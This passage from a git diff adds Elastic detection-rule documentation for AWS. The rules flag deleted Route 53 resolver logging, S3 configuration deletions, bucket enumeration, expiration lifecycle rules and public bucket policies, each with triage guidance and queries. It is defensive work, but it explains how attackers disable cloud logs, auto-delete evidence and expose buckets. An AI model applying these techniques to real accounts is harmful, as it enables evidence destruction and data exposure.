CloudWatch Log Group, S3 bucket, Kinesis stream). +- Determine whether these VPCs support production workloads, contain regulated or sensitive data, host internet-facing or privileged workloads (e.g., EKS clusters, directory services, bastion hosts). + +**Correlate for intent and related activity** +- Use `@timestamp` to correlate the deletion with: + - Prior `PutResolverQueryLogConfig` or `AssociateResolverQueryLogConfig` modifications. + - IAM permission changes or STS session activities. + - Recent DNS anomalies if logs were active prior to deletion. +- Pivot on the same `aws.cloudtrail.user_identity.arn` to identify: + - Additional logging-related tampering (CloudTrail, VPC Flow Logs, S3 server access logs). + - Resource isolation or privilege escalation attempts. + - Suspicious EC2, Lambda, or container workload behavior. + +**Validate operational context** +- Check whether a change request, maintenance window, or migration task was underway that could explain the deletion. +- Confirm with networking, SRE, or platform engineering teams whether a logging pipeline redesign was in progress, a deprecated log config was intentionally removed, infrastructure-as-code (IaC) automation recently applied updates that removed the configuration. + + +*False positive analysis* + + +- **Legitimate network and logging redesign** + - Deletions performed during planned VPC migrations, resolver logging pipeline upgrades, or CloudWatch/S3 restructuring may be benign. +- **Expected IaC behavior** + - Terraform, CloudFormation, or CDK stacks may destroy and recreate logging configurations during updates. + Validate pipeline activity and automation roles to avoid noise. + + +*Response and remediation* + + +**Contain and restore visibility** +- If unauthorized activity is suspected: + - Immediately re-create the Resolver Query Log Configuration. + - Re-associate the configuration with the affected VPCs to restore DNS visibility. + - Verify that CloudWatch Log Groups or S3 destinations have not been deleted or altered. + +**Investigate access and scope of impact** +- Review IAM permissions assigned to the actor: + - Identify whether privilege escalation or role compromise occurred. + - Validate that other high-impact logging or monitoring configurations (CloudTrail, VPC Flow Logs, GuardDuty) remain intact. +- Perform a DNS-focused threat hunt: + - Analyze prior logged queries for indicators of malware, C2 infrastructure, or suspicious domains before the logging gap. + +**Strengthen defensive controls** +- Restrict sensitive operations by: + - Limiting `route53resolver:DeleteResolverQueryLogConfig` to a small number of privileged roles. + - Adding IAM condition keys to constrain deletion operations by source IP, region, or principal ARN. +- Enable AWS Config or Security Hub controls that: + - Detect missing or deleted query log configurations. + - Enforce continuous logging for critical VPCs. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: route53resolver.amazonaws.com + and event.action: DeleteResolverQueryLogConfig + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-configuration-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-configuration-deletion.asciidoc new file mode 100644 index 0000000000..32eca6a6b9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-configuration-deletion.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-21-aws-s3-bucket-configuration-deletion]] +=== AWS S3 Bucket Configuration Deletion + +Identifies the deletion of critical Amazon S3 bucket configurations such as bucket policies, lifecycle configurations or encryption settings. These actions are typically administrative but may also represent adversarial attempts to remove security controls, disable data retention mechanisms, or conceal evidence of malicious activity. Adversaries who gain access to AWS credentials may delete logging, lifecycle, or policy configurations to disrupt forensic visibility and inhibit recovery. For example, deleting a bucket policy can open a bucket to public access or remove protective access restrictions, while deleting lifecycle rules can prevent object archival or automatic backups. Such actions often precede data exfiltration or destructive operations and should be reviewed in context with related S3 or IAM events. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketPolicy.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketReplication.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketCors.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketEncryption.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketLifecycle.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon S3 +* Use Case: Asset Visibility +* Tactic: Defense Evasion +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Configuration Deletion* + + +Amazon S3 is a scalable storage service where configurations like policies, replication, and encryption ensure data security and compliance. The detection rule monitors successful deletions of these configurations via the following APIs: `DeleteBucketPolicy`, `DeleteBucketReplication`, `DeleteBucketCors`, `DeleteBucketEncryption` or `DeleteBucketLifecycle`. These operations can be used by an adversary to remove visibility, erase governance or compliance controls, or prepare a bucket for destructive or exfiltration activity. +Deleting or disabling important configurations may hamper audit trails, hide malicious changes, or reduce the ability for recovery. The detection of these deletes is therefore a potential indicator of defense evasion or impact techniques. + + +*Possible investigation steps* + + +- **Identify the Actor and Context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id` and `aws.cloudtrail.user_identity.type` to identify who performed the deletion. + - Determine whether the actor typically manages bucket configurations, or if this is an unusual identity for this kind of operation. + - Check `source.ip`, `user_agent.original`, `cloud.region` for anomalous behaviour (unfamiliar IPs, new tooling or region, off-hours actions). + +- **Determine the Affected Bucket and Configuration Type** + - Examine `aws.cloudtrail.request_parameters` (and `aws.cloudtrail.resources.arn`) to identify the bucket and the sub-resource that was removed. + - Determine whether the bucket is used for critical data (audit logs, backups, data warehouse). If so, the deletion is higher risk. + +- **Correlate with Other Activity to Establish Chain of Events** + - Search for preceding or concurrent CloudTrail events by the same actor or on the same bucket, e.g.: + - Removal of logging or access controls (`PutBucketLogging`, `PutBucketAcl`, `PutBucketPolicy`). + - Object-level actions soon after configuration removal (`DeleteObject`, `DeleteObjects`, `PutObject`, cross-account copy) that suggest data removal or exfiltration. + - Review for configuration additions or changes immediately prior (e.g., versioning disabled, replication removed) — could form part of a larger attack sequence. + +- **Evaluate Intent and Risk** + - Confirm whether the change is aligned with an approved change control process (maintenance, re-architecting, cost-optimization). + - If no documented justification, or if it affects buckets with sensitive or compliance-related data, treat it as potential malicious behavior. + - Prioritize buckets where configuration deletion significantly reduces visibility or recovery capability. + + +*False positive analysis* + + +- **Scheduled Maintenance or Re-architecture**: + - Valid operations may include migrating buckets, retiring services, or reorganizing storage; verify through change logs. +- **Automation/DevOps Activity**: + - Infrastructure-as-Code pipelines or lifecycle clean-up tasks may remove configurations; validate known automation scopes and service-principals. +- **Test/Development Buckets**: + - Non-production environments may frequently change bucket configurations; document and consider whitelisting accordingly. + + +*Response and remediation* + + +**Containment & Immediate Actions** +- Temporarily restrict the IAM user or role that performed the deletion, especially for `DeleteBucketPolicy`, `DeleteBucketEncryption`, or `DeleteBucketLifecycle`. +- Restore missing configurations as soon as possible (e.g., re-apply bucket policy, lifecycle rules, inventory configuration) to prevent further blind spots. + +**Investigation & Scope Assessment** +- Using CloudTrail and S3 Data Events, check object‐level activity from the timeframe immediately before and after the configuration deletion. Look for bulk deletes, new uploads, or copies to external accounts. +- Check whether other buckets in the account suffered similar configuration changes – potentially part of a wider campaign. + +**Recovery & Hardening** +- Recover affected bucket configurations and ensure they match your organizational baseline and compliance standards (e.g., logging enabled, inventory configured, lifecycle rules active). +- Enable AWS Config rules such as `s3-bucket-policy-check`, `s3-bucket-lifecycle-configuration-check`, `s3-bucket-logging-enabled` to monitor for unauthorized changes. +- Apply least‐privilege for configuration deletion permissions; segregate duties so bucket config deletion can only be done via controlled workflows and require multi-step approval. + +**Lessons Learned & Prevention** +- Conduct a post-incident review to determine root cause (credential compromise, misconfigured automation, malicious insider) and strengthen monitoring, alerting and access controls accordingly. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and + event.provider:s3.amazonaws.com and + event.action:(DeleteBucketPolicy or + DeleteBucketReplication or + DeleteBucketCors or + DeleteBucketEncryption or + DeleteBucketLifecycle) and + event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-enumeration-or-brute-force.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-enumeration-or-brute-force.asciidoc new file mode 100644 index 0000000000..5179f99a50 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-enumeration-or-brute-force.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-21-aws-s3-bucket-enumeration-or-brute-force]] +=== AWS S3 Bucket Enumeration or Brute Force + +Identifies a high number of failed S3 operations against a single bucket from a single source address within a short timeframe. This activity can indicate attempts to collect bucket objects or cause an increase in billing to an account via internal "AccessDenied" errors. + +*Rule type*: threshold + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/@maciej.pocwierz/how-an-empty-s3-bucket-can-make-your-aws-bill-explode-934a383cb8b1 +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/ErrorCodeBilling.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Log Auditing +* Tactic: Impact +* Tactic: Discovery +* Tactic: Collection + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Enumeration or Brute Force* + + +This rule detects when many failed S3 operations (HTTP 403 AccessDenied) hit a single bucket from a single source address in a short window. This can indicate bucket name enumeration, object/key guessing, or brute-force style traffic intended to drive cost or probe for misconfigurations. 403 requests from outside the bucket owner’s account/organization are not billed, but 4XX from inside the owner’s account/org can still incur charges. Prioritize confirming who is making the calls and where they originate. + + +*Possible investigation steps* + + +- **Investigate in Timeline.** Investigate the alert in timeline (Take action -> Investigate in timeline) to retrieve and review all of the raw CloudTrail events that contributed to the threshold alert. Threshold alerts only display the grouped fields; Timeline provides a way to see individual event details such as request parameters, full error messages, and additional user context. + +- **Confirm entity & target.** Note the rule’s threshold and window. Identify the target bucket (`tls.client.server_name`) and the source (`source.address`). Verify the caller identity details via any available `aws.cloudtrail.user_identity` fields. + +- **Actor & session context.** In CloudTrail events, pivot 15–30 minutes around the spike for the same `source.address` or principal. Determine if the source is: + - **External** to your account/organization (recon/cost DDoS risk is lower for you due to 2024 billing change). + - **Internal** (same account/org)—higher cost risk and possible misuse of internal automation. + +- **Bucket posture snapshot.** Record S3 Block Public Access, Bucket Policy, ACLs, and whether Versioning/Object Lock are enabled. Capture any recent `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning`, or lifecycle changes. + +- **Blast radius.** Check for similar spikes to other buckets/regions, or parallel spikes from the same source. Review any GuardDuty S3 findings and AWS Config drift related to the bucket or principal. + +- **Business context.** Contact the bucket/app owner. Validate whether a migration, scanner, or broken job could legitimately cause bursts. + + +*False positive analysis* + + +- **Expected jobs / broken automation.** Data movers, posture scanners, or failed credentials can generate 403 storms. Validate with `userAgent`, ARNs, change windows, and environment (dev/stage vs prod). +- **External probing.** Internet-origin enumeration often looks like uniform 403s from transient or cloud-provider IPs and typically has no business impact and no billing if outside your account/org. Tune thresholds or allowlist known scanners if appropriate. + + +*Response and remediation* + + +**Immediate, low-risk actions** +- **Preserve evidence.** Export CloudTrail records (±30 minutes) for the bucket and source address into an evidence bucket with restricted access. +- **Notify owners.** Inform the bucket/application owner and security lead; confirm any maintenance windows. + +**Containment options** +- **External-origin spikes:** Verify Block Public Access is enforced and bucket policies are locked down. Optionally apply a temporary deny-all bucket policy allowing only IR/admin roles while scoping. +- **Internal-origin spikes:** Identify the principal. Rotate access keys for IAM users, or restrict involved roles (temporary deny/SCP, remove risky policies). Pause broken jobs/pipelines until validated. + +**Scope & hunting** +- Review Timeline and CloudTrail for related events: `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning`, lifecycle changes, unusual `PutObject`/`DeleteObject` volumes, or cross-account access. +- Check GuardDuty S3 and Config drift findings for signs of tampering or lateral movement. + +**Recovery & hardening** +- If data impact suspected: with Versioning, restore known-good versions; otherwise, recover from backups/replicas. +- Enable Versioning on critical buckets going forward; evaluate Object Lock legal hold if enabled. +- Ensure Block Public Access, least-privilege IAM policies, CloudTrail data events for S3, and GuardDuty protections are consistently enforced. + + +*Additional information* + + +- https://docs.aws.amazon.com/AmazonS3/latest/userguide/ErrorCodeBilling.html[AWS S3 billing for error responses]: see latest AWS docs on which error codes are billed. +- https://aws.amazon.com/about-aws/whats-new/2024/05/amazon-s3-no-charge-http-error-codes/[AWS announcement (Aug 2024)]: 403s from outside the account/org are not billed. +- https://github.com/aws-samples/aws-incident-response-playbooks/[AWS IR Playbooks]: NIST-aligned template for evidence, containment, eradication, recovery, post-incident. +- https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]: Practical response steps for account and bucket-level abuse. + + +==== Rule query + + +[source, js] +---------------------------------- + data_stream.dataset: "aws.cloudtrail" and + event.provider : "s3.amazonaws.com" and + aws.cloudtrail.error_code : "AccessDenied" and + tls.client.server_name : * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Financial Theft +** ID: T1657 +** Reference URL: https://attack.mitre.org/techniques/T1657/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Technique: +** Name: Cloud Storage Object Discovery +** ID: T1619 +** Reference URL: https://attack.mitre.org/techniques/T1619/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc new file mode 100644 index 0000000000..21ab773f57 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-21-aws-s3-bucket-expiration-lifecycle-configuration-added]] +=== AWS S3 Bucket Expiration Lifecycle Configuration Added + +Identifies the addition of an expiration lifecycle configuration to an Amazon S3 bucket. S3 lifecycle rules can automatically delete or transition objects after a defined period. Adversaries can abuse them by configuring auto-deletion of logs, forensic evidence, or sensitive objects to cover their tracks. This rule detects the use of the PutBucketLifecycle or PutBucketLifecycleConfiguration APIs with Expiration parameters, which may indicate an attempt to automate the removal of data to hinder investigation or maintain operational secrecy after malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/lifecycle-expire-general-considerations.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon S3 +* Use Case: Asset Visibility +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Expiration Lifecycle Configuration Added* + + +This rule detects when a lifecycle expiration policy is added to an S3 bucket via the `PutBucketLifecycle` or `PutBucketLifecycleConfiguration` API. Note: `PutBucketLifecycleConfiguration` is the newer supported API call, however both of these API calls show up as `PutBucketLifecycle` in Cloudtrail https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-bucket-level-tracking[ref]. +Lifecycle expiration automatically deletes objects after a defined period (`Expiration:Days`), which can be leveraged by adversaries to erase logs, exfiltration evidence, or security artifacts before detection and response teams can review them. + +Because deletion is automated and often silent, detecting the initial configuration event is critical. + + +*Possible investigation steps* + + +**Identify the actor and execution context** + +- **Principal and Identity Type**: + Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id`. + Determine if the actor is an IAM user, role, or automation service account. + - Unusual: temporary credentials, federated roles, or previously inactive accounts. +- **Source Information**: + Review `source.ip`, `cloud.region`, and `user_agent.original` for unexpected geolocations, tool usage (CLI, SDK, automation service), or newly-observed hosts. +- **Timestamp correlation**: + Use `@timestamp` to check if this activity occurred during change windows or off-hours. + +**Examine the lifecycle configuration details** +- Extract details from `aws.cloudtrail.request_parameters`: + - `Expiration`: Number of days until deletion (e.g., `Days=1` indicates rapid expiry). + - `Prefix`: If limited to certain object paths (e.g., `/logs/`, `/tmp/`). + - `Status`: `Enabled` vs. `Disabled`. + - `ID` or rule name: May reveal purpose (“cleanup-test”, “delete-logs”). +- Determine the affected bucket from `aws.cloudtrail.resources.arn` or `aws.cloudtrail.resources.type`. + Cross-check the bucket’s purpose (e.g., log storage, data lake, analytics export, threat forensics). + - High-risk if the bucket contains audit, CloudTrail, or application logs. + +**Correlate with related AWS activity** +Use AWS CloudTrail search or your SIEM to pivot for: +- **Prior suspicious activity**: + - `DeleteObject`, `PutBucketPolicy`, `PutBucketAcl`, or `PutBucketLogging` changes to disable visibility. + - IAM changes such as `AttachUserPolicy` or `CreateAccessKey` that may have enabled this modification. +- **Subsequent changes**: + - `PutBucketLifecycle` events in other buckets (repeated pattern). + - Rapid `DeleteObject` events or object expiration confirmations. +- **Cross-account activity**: + - Lifecycle rules followed by replication or cross-account copy events may indicate lateral exfiltration setup. + +**Assess intent and risk** +- Verify if the actor has a valid business case for altering object retention. +- If the bucket is used for security, compliance, or audit data, treat this as potential defense evasion. +- Evaluate whether the lifecycle rule removes data faster than your retention policy permits. + + +*False positive analysis* + + +- **Cost optimization**: Storage teams may automate lifecycle policies to reduce cost on infrequently accessed data. +- **Compliance enforcement**: Organizations implementing legal retention policies may set expiration for specific datasets. +- **Automation and IaC pipelines**: Terraform or CloudFormation templates often apply `PutBucketLifecycle` during resource deployment. + + +*Response and remediation* + + +**Containment and validation** +**Revert or disable** the lifecycle configuration if it is unauthorized: + - Use the AWS Console or CLI (`delete-bucket-lifecycle` or `put-bucket-lifecycle-configuration --lifecycle-configuration Disabled`). +**Preserve evidence**: + - Copy existing objects (especially logs or forensic data) before they expire. + - Enable object versioning or replication to protect against loss. + +**Investigation** +Review CloudTrail and S3 Access Logs for the same bucket: + - Identify who and what performed previous deletions. + - Determine whether any objects of investigative value have already been removed. +Search for other S3 buckets where similar lifecycle configurations were added in a short timeframe. + +**Recovery and hardening** +Implement guardrails: + - Use AWS Config rules like `s3-bucket-lifecycle-configuration-check` to monitor lifecycle changes. + - Restrict `s3:PutLifecycleConfiguration` to specific administrative roles. + - Enable https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lock.html[S3 Object Lock] on log or evidence buckets to enforce immutability. +Enable Security Hub and GuardDuty findings for additional anomaly detection on S3 data management activity. + + +*Additional information* + + +- **AWS Documentation** + - https://docs.aws.amazon.com/AmazonS3/latest/userguide/lifecycle-expire-general-considerations.html[S3 Lifecycle Configuration] + - https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketLifecycle.html[DeleteBucketLifecycle API Reference] +- **AWS Playbooks** + - https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-PersonalDataBreach.md[Data Exposure and Exfiltration Response] + - https://github.com/aws-samples/aws-customer-playbook-framework/tree/main[AWS Customer Playbook Framework] + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.action == "PutBucketLifecycle" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Expiration=") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Sub-technique: +** Name: Lifecycle-Triggered Deletion +** ID: T1485.001 +** Reference URL: https://attack.mitre.org/techniques/T1485/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-policy-added-to-allow-public-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-policy-added-to-allow-public-access.asciidoc new file mode 100644 index 0000000000..a7772fa502 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-bucket-policy-added-to-allow-public-access.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-21-aws-s3-bucket-policy-added-to-allow-public-access]] +=== AWS S3 Bucket Policy Added to Allow Public Access + +Detects when an Amazon S3 bucket policy is modified to grant public access using a wildcard (Principal:"*") statement. This rule analyzes PutBucketPolicy events that include both Effect=Allow and Principal:"*" in the request parameters, indicating that permissions were extended to all identities, potentially making the bucket or its contents publicly accessible. Publicly exposing an S3 bucket is one of the most common causes of sensitive data leaks in AWS environments. Adversaries or misconfigurations can leverage this exposure to exfiltrate data, host malicious content, or collect credentials and logs left in open storage. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.s3-backdoor-bucket-policy/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Policy Added to Allow Public Access* + + +This rule detects modifications to Amazon S3 bucket policies using the `PutBucketPolicy` API where both `Effect=Allow` +and `Principal:"*"` are present. This effectively grants permissions to all AWS identities, including unauthenticated users. +Such exposure can result in sensitive data leaks, ransomware staging, or unauthorized data collection. + +This rule focuses on policy-based exposure rather than ACL-based or block-public-access configurations. +It will still trigger if a bucket policy includes both `Effect=Allow` and `Effect=Deny` statements that contain `Principal:"*"`. Those cases should be reviewed to confirm whether the `Deny` statement restricts access sufficiently. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. + - Validate whether this user or role is authorized to modify S3 bucket policies. + - Examine `source.ip`, `source.geo`, and `user_agent.original` to identify unusual sources or tools (e.g., CLI or SDK-based activity). + +- **Analyze the Bucket Policy Content** + - Extract the full JSON from `aws.cloudtrail.request_parameters`. + - Look for `Effect=Allow` statements paired with `Principal:"*"`. + - Identify what permissions were granted — for example: + - `s3:GetObject` (read access to all objects) + - `s3:PutObject` or `s3:*` (read/write access) + - Check if the policy also contains any `Effect=Deny` statements targeting `Principal:"*"`. + If present, determine whether these statements fully restrict public access, if so this alert can be closed. + +- **Assess the Impact and Scope** + - Review `aws.cloudtrail.resources.arn` to confirm which bucket was affected. + - Determine if the bucket contains sensitive, regulated, or internal data. + - Check for `PutPublicAccessBlock` or `DeleteBucketPolicy` events in close proximity, as attackers often disable protections first. + +- **Correlate with Related Activity** + - Review CloudTrail for `GetObject` or `ListBucket` events following the policy change to identify possible data access. + - Look for policy changes across multiple buckets by the same actor, suggesting scripted or automated misuse. + +- **Validate Intent** + - Contact the bucket owner or application owner to determine whether this change was part of a legitimate operation (e.g., website hosting or public dataset publishing). + - Review change management logs or ticketing systems for documented approval. + + +*False positive analysis* + + +- **Intended Public Access** + - Buckets used for static websites, documentation hosting, or public datasets may legitimately contain `Principal:"*"`. + - Verify such use cases are covered by organizational policies and hardened with least-privilege permissions (e.g., read-only). + +- **Effect=Deny Condition** + - This rule does not currently exclude cases where `Principal:"*"` appears under both `Effect=Allow` and `Effect=Deny`. + - Analysts should review the bucket policy JSON to confirm whether `Deny` statements restrict the same resources. + - If access remains blocked to unauthorized entities, the alert can be dismissed as a false positive. + +- **Automation or Pipeline Behavior** + - Some automated pipelines or templates (e.g., Terraform, CloudFormation) create temporary policies with `Principal:"*"` for bootstrap access. + Review timing, user agent, and role identity for expected automation patterns. + + +*Response and remediation* + + +- **Containment** + - If exposure is unauthorized, immediately remove the public access policy using: + - `aws s3api delete-bucket-policy` or restore from version control. + - Re-enable Block Public Access at the account and bucket levels. + +- **Investigation and Scoping** + - Review CloudTrail and S3 access logs to identify whether external IPs accessed bucket objects after the policy change. + - Search for similar policy updates across other buckets in the same account or region. + - Validate AWS Config history for baseline deviations and determine how long the bucket was publicly exposed. + +- **Recovery and Hardening** + - Reinstate the intended bucket policy from backups or version control. + - Implement AWS Config rules: + - `s3-bucket-public-read-prohibited` + - `s3-bucket-public-write-prohibited` + - Restrict `s3:PutBucketPolicy` permissions to trusted administrative roles. + - Apply service control policies (SCPs) that prevent policies containing `Principal:"*"` unless explicitly approved. + - Enable continuous monitoring through AWS Security Hub or GuardDuty for any new public exposure events. + + +*Additional information* + + - **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** + - **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + - **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Effect=Allow") + and stringContains(aws.cloudtrail.request_parameters, "Principal=\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** 